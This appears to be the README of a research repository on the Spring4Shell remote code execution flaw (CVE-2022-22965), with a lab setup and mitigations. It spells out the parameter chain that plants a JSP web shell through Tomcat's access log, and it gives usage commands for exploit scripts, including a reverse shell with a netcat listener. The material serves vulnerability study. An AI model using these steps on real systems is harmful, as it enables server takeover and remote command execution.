
Description
Disclaimer: This repository is intended for educational and research purposes only. All exploit scripts must be used exclusively against systems you own or have explicit written permission to test. The author is not responsible for any misuse or damage caused by this material.
Study and proof-of-concept for CVE-2022-22965, a critical Remote Code Execution (RCE) vulnerability in Spring Framework, publicly disclosed in April 2022.
Spring4Shell affects Spring MVC and Spring WebFlux applications when all of the following conditions are met:
| Condition | Value |
|---|
| JDK version | 9 or higher |
| Application server | Apache Tomcat |
| Packaging | WAR (not executable JAR) |
| Spring Framework | < 5.3.18 or < 5.2.20 |
Spring's data binding mechanism allows HTTP request parameters to be mapped to Java object
properties using dot notation (e.g., user.name=foo). The vulnerability arises because this
traversal is not properly restricted — an attacker can reach the JVM ClassLoader through the
model object's class hierarchy:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
This path reaches Tomcat's AccessLogValve, whose logging configuration can be manipulated at
runtime. By modifying properties such as pattern, directory, prefix, and suffix, the
attacker redirects Tomcat's access log to write a file with a .jsp extension containing
arbitrary JSP code — effectively planting a web shell on the server.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
| Script | Method | Payload | Notes |
|---|---|---|---|
exploit1.py | POST | Web shell (password-protected) | Single request |
exploit2.py | POST | Web shell | Resets log config before/after exploit |
exploit3.py | GET | Web shell (no password) | Parameters via query string |
exploit4.py | GET | Reverse TCP shell | msfvenom-based JSP payload |
exploit4b.py | POST | Reverse TCP shell | Same payload as exploit4, POST variant |
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven or sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
The application is then available at http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() to block classLoader bindingclass., Class., module., or classLoaderOriginal research and exploit code by @march0n. This repository is a personal study of the vulnerability for learning purposes, with additional documentation and analysis.